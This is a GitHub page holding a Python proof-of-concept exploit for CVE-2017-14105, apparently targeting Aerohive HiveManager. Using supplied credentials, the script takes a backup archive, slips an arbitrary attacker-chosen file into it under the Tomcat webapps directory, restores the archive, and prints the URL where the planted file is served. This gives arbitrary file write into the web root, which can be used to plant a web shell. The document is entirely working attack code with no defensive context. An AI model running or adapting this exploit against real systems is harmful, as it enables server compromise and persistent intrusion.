-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcve-2017-14105.py
123 lines (107 loc) · 4.3 KB
/
cve-2017-14105.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python
# author: @theguly
# PoC for CVE 2017 14105
import sys,re,json
import requests
import argparse
import time
from shutil import copyfile
import tarfile
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def itime():
return str(int(time.time()))+'000'
parser = argparse.ArgumentParser()
parser.add_argument('-d', dest='baseurl', required=True, help='destination url, like https://hivemanager.foo.bar')
parser.add_argument('-u', dest='username', required=True, help='username to authenticate with')
parser.add_argument('-p', dest='passwd', required=True, help='password')
parser.add_argument('-f', dest='addme', required=True, help='file to add')
args = parser.parse_args()
baseurl = args.baseurl.rstrip('/')
s = requests.Session()
# auth
data={'userName':args.username, 'password':args.passwd}
res = s.post(baseurl+'/hm/authenticate.action',data=data,verify=False,allow_redirects=False)
try:
if not 'topMenu.action?operation=dash' in res.headers['Location']:
print "auth failed"
sys.exit()
except:
print "auth failed"
sys.exit()
# do the backup
data= {
'operation':'backupImmediate',
'__checkbox_ignore':'true',
'backupScope':'fullBackup',
'backupType':'dump',
}
res = s.post(baseurl+'/hm/backupDB.action', data=data, verify=False,allow_redirects=False)
# check backup status
done = False
while not done:
jres = s.get(baseurl+'/hm/backupDB.action?operation=pollBackupStatus&ignore='+itime(), verify=False,allow_redirects=False).json()
print "waiting for backup to complete..."
m= re.search(r'The backup file \((.+)_(.+)_(\d+)\.tar\.gz\ ', jres['message'])
if m:
fname = m.group(1)+'_'+m.group(2)+'_'+m.group(3)+'.tar.gz'
tenant = m.group(2)
if 'The backup file' in jres['message']:
done = True
if jres['success']:
print 'backup completed: %s' % jres['message']
else:
print 'backup not completed: %s' % jres
sys.exit()
else:
time.sleep(3)
# download the backup
data={'operation':'download'}
res = s.post(baseurl+'/hm/backupDB.action', data=data,verify=False)
with open(fname, 'wb') as handle:
for block in res.iter_content(1024):
handle.write(block)
# add file to archive
ename = 'evil-'+fname
copyfile(fname, ename)
newtar = tarfile.open(ename, "w|gz")
oldtar = tarfile.open(fname,"r")
for member in oldtar.getmembers():
newtar.addfile(member, oldtar.extractfile(member.name))
oldtar.close()
addmeinfo = newtar.gettarinfo(args.addme,'/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme)
# you are not actually limited to maps dir, just as a PoC
addmeinfo.name = '/HiveManager/tomcat/webapps/hm/domains/'+tenant+"/maps/"+args.addme
addmeinfo.uid = 501
addmeinfo.gid = 501
newtar.addfile(addmeinfo, file(args.addme))
newtar.close()
# restore archive
jres = s.get(baseurl+'/hm/restoreDB.action?operation=initProgessConfig&restoreFileFileName=C%3A\\fakepath\\'+ename+'&ignore='+itime(),verify=False).json()
if not jres['success']:
print "failed to restore the backup file: %s" % jres
sys.exit()
data = {'operation':'restore','id':'','restoreProtocol':1,'ignore':'true', '__checkbox_ignore':'true', '__checkbox_advancedOption':'true', 'restoreOption':'existVHMOption', 'existVHMId': '', 'tabId': 0, 'tableId': 0, 'vhmName':'', 'formChanged':'false'}
files = {'restoreFile': (ename, open(ename,'rb'), 'application/x-gzip')}
res = s.post(baseurl+'/hm/restoreDB.action',data=data,files=files,verify=False,allow_redirects=False)
time.sleep(1)
res = s.get(baseurl+'/hm/restoreDB.action',verify=False)
time.sleep(1)
done=False
i=1
while not done:
i=i+1
jres = s.get(baseurl+'/hm/restoreDB.action?operation=pollRestoreStatus&ignore='+itime(), verify=False,allow_redirects=False).json()
if jres['status'] == 3:
print "restore completed: %s" % jres['message']
done=True
elif jres['status'] == 2:
print "waiting for restore to complete..."
time.sleep(1)
else:
print "unknown status '%s', something went wrong: " % (jres['status'],jres['message'])
sys.exit(1)
if i > 300:
print "restore too slow, please check for any issue"
sys.exit(1)
print 'your file should be available at: '+baseurl+'/hm/domains/'+tenant+'/maps/'+args.addme